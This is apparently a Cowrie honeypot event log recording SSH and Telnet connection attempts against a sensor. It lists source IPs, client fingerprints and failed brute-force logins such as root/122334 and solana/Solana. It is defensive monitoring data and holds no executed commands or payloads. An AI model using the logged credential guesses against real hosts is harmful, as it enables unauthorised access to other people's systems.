{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:52.468195Z","src_ip":"62.133.62.83","session":"854df78b2c79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"122334","message":"login attempt [root/122334] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:52.707888Z","src_ip":"62.133.62.83","session":"854df78b2c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.32136011123657,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:52.761837Z","src_ip":"192.119.13.58","session":"27258d65b244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:53.790453Z","src_ip":"62.133.62.83","session":"854df78b2c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.00694489479065,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:57.821226Z","src_ip":"192.119.13.58","session":"b7da5fdd2b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.37009119987488,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:00.275224Z","src_ip":"192.119.13.58","session":"661c2ae54183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36942,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca5673f1453b","protocol":"telnet","message":"New connection: 192.119.13.58:36942 (10.17.0.5:23) [session: ca5673f1453b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:01.777241Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50096,"dst_ip":"10.17.0.5","dst_port":23,"session":"efa162d7993e","protocol":"telnet","message":"New connection: 192.119.13.58:50096 (10.17.0.5:23) [session: efa162d7993e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:04.945624Z"}
{"eventid":"cowrie.session.closed","duration":49.4272403717041,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:06.775545Z","src_ip":"192.119.13.58","session":"b20bfe719736","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57750,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ea24975d20a","protocol":"telnet","message":"New connection: 192.119.13.58:57750 (10.17.0.5:23) [session: 3ea24975d20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:06.958995Z"}
{"eventid":"cowrie.session.closed","duration":41.354223012924194,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:12.677321Z","src_ip":"192.119.13.58","session":"fb3540d41531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":58362,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb05e782fae8","protocol":"ssh","message":"New connection: 103.210.22.17:58362 (159.203.135.109:22) [session: eb05e782fae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:15.806925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:15.813795Z","src_ip":"103.210.22.17","session":"eb05e782fae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.850465536117554,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:16.383987Z","src_ip":"192.119.13.58","session":"fb43beee03e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.279759883880615,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:18.739100Z","src_ip":"192.119.13.58","session":"4d7f9e165db1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37528,"dst_ip":"10.17.0.5","dst_port":23,"session":"14412c31b290","protocol":"telnet","message":"New connection: 192.119.13.58:37528 (10.17.0.5:23) [session: 14412c31b290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:23.140949Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39158,"dst_ip":"10.17.0.5","dst_port":23,"session":"98bb03fcf067","protocol":"telnet","message":"New connection: 192.119.13.58:39158 (10.17.0.5:23) [session: 98bb03fcf067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:30.798763Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":58836,"dst_ip":"10.17.0.5","dst_port":22,"session":"290c9fcb9d88","protocol":"ssh","message":"New connection: 43.134.177.27:58836 (10.17.0.5:22) [session: 290c9fcb9d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:31.498491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:31.502956Z","src_ip":"43.134.177.27","session":"290c9fcb9d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:31.749403Z","src_ip":"43.134.177.27","session":"290c9fcb9d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boom","message":"login attempt [root/boom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:32.768898Z","src_ip":"43.134.177.27","session":"290c9fcb9d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.47728109359741,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:33.668454Z","src_ip":"192.119.13.58","session":"39574536d073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:34.018843Z","src_ip":"43.134.177.27","session":"290c9fcb9d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57130,"dst_ip":"10.17.0.5","dst_port":23,"session":"e57f912d6fde","protocol":"telnet","message":"New connection: 192.119.13.58:57130 (10.17.0.5:23) [session: e57f912d6fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:35.135593Z"}
{"eventid":"cowrie.session.closed","duration":36.54936408996582,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:38.326490Z","src_ip":"192.119.13.58","session":"ca5673f1453b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.74","src_port":53678,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e5256784645","protocol":"telnet","message":"New connection: 205.210.31.74:53678 (10.17.0.5:23) [session: 4e5256784645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:42.501182Z"}
{"eventid":"cowrie.session.closed","duration":41.93952226638794,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:46.885004Z","src_ip":"192.119.13.58","session":"efa162d7993e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"151.48.3.141","src_port":36604,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fbcd3e8297a","protocol":"telnet","message":"New connection: 151.48.3.141:36604 (10.17.0.5:23) [session: 2fbcd3e8297a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:48.556430Z"}
{"eventid":"cowrie.session.closed","duration":41.64984440803528,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:48.608708Z","src_ip":"192.119.13.58","session":"3ea24975d20a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":49228,"dst_ip":"159.203.135.109","dst_port":22,"session":"1088c49dff78","protocol":"ssh","message":"New connection: 103.166.103.173:49228 (159.203.135.109:22) [session: 1088c49dff78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:51.143486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:51.149197Z","src_ip":"103.166.103.173","session":"1088c49dff78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:51.383219Z","src_ip":"103.166.103.173","session":"1088c49dff78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p","message":"login attempt [root/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:52.355405Z","src_ip":"103.166.103.173","session":"1088c49dff78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:53.592262Z","src_ip":"103.166.103.173","session":"1088c49dff78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49636,"dst_ip":"10.17.0.5","dst_port":23,"session":"612241f95056","protocol":"telnet","message":"New connection: 192.119.13.58:49636 (10.17.0.5:23) [session: 612241f95056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:35:54.660905Z"}
{"eventid":"cowrie.session.closed","duration":14.708556652069092,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:03.264902Z","src_ip":"151.48.3.141","session":"2fbcd3e8297a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55658,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc4a9da5e4da","protocol":"telnet","message":"New connection: 192.119.13.58:55658 (10.17.0.5:23) [session: dc4a9da5e4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:03.451709Z"}
{"eventid":"cowrie.session.closed","duration":46.686888694763184,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:09.827707Z","src_ip":"192.119.13.58","session":"14412c31b290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":58694,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b6fefc13723","protocol":"ssh","message":"New connection: 43.134.177.27:58694 (10.17.0.5:22) [session: 4b6fefc13723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:10.016260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:10.021523Z","src_ip":"43.134.177.27","session":"4b6fefc13723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:10.260916Z","src_ip":"43.134.177.27","session":"4b6fefc13723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57090,"dst_ip":"10.17.0.5","dst_port":23,"session":"251076deea18","protocol":"telnet","message":"New connection: 192.119.13.58:57090 (10.17.0.5:23) [session: 251076deea18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:11.011214Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"agent","message":"login attempt [root/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:11.245926Z","src_ip":"43.134.177.27","session":"4b6fefc13723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32932,"dst_ip":"10.17.0.5","dst_port":23,"session":"95ee53e3a167","protocol":"telnet","message":"New connection: 192.119.13.58:32932 (10.17.0.5:23) [session: 95ee53e3a167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:12.068919Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34036,"dst_ip":"10.17.0.5","dst_port":23,"session":"67ee52ff662c","protocol":"telnet","message":"New connection: 192.119.13.58:34036 (10.17.0.5:23) [session: 67ee52ff662c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:12.349514Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:12.487346Z","src_ip":"43.134.177.27","session":"4b6fefc13723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.983522653579712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:13.484575Z","src_ip":"205.210.31.74","session":"4e5256784645","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.363370180130005,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:14.498825Z","src_ip":"192.119.13.58","session":"e57f912d6fde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.986083030700684,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:14.784724Z","src_ip":"192.119.13.58","session":"98bb03fcf067","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52942,"dst_ip":"10.17.0.5","dst_port":23,"session":"87d3be8007aa","protocol":"telnet","message":"New connection: 192.119.13.58:52942 (10.17.0.5:23) [session: 87d3be8007aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:16.980197Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34628,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7d62fa881c2","protocol":"ssh","message":"New connection: 80.94.92.184:34628 (10.17.0.5:22) [session: f7d62fa881c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:20.015748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:20.356307Z","src_ip":"80.94.92.184","session":"f7d62fa881c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:20.359792Z","src_ip":"80.94.92.184","session":"f7d62fa881c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:20.923128Z","src_ip":"80.94.92.184","session":"f7d62fa881c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:22.677140Z","src_ip":"80.94.92.184","session":"f7d62fa881c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53088,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d53e502192d","protocol":"telnet","message":"New connection: 192.119.13.58:53088 (10.17.0.5:23) [session: 4d53e502192d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:24.139944Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55102,"dst_ip":"10.17.0.5","dst_port":23,"session":"6378218eebff","protocol":"telnet","message":"New connection: 192.119.13.58:55102 (10.17.0.5:23) [session: 6378218eebff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:24.611606Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":37242,"dst_ip":"10.17.0.5","dst_port":22,"session":"994b594a1cc6","protocol":"ssh","message":"New connection: 109.237.96.109:37242 (10.17.0.5:22) [session: 994b594a1cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:26.250503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:26.271952Z","src_ip":"109.237.96.109","session":"994b594a1cc6","protocol":"ssh"}
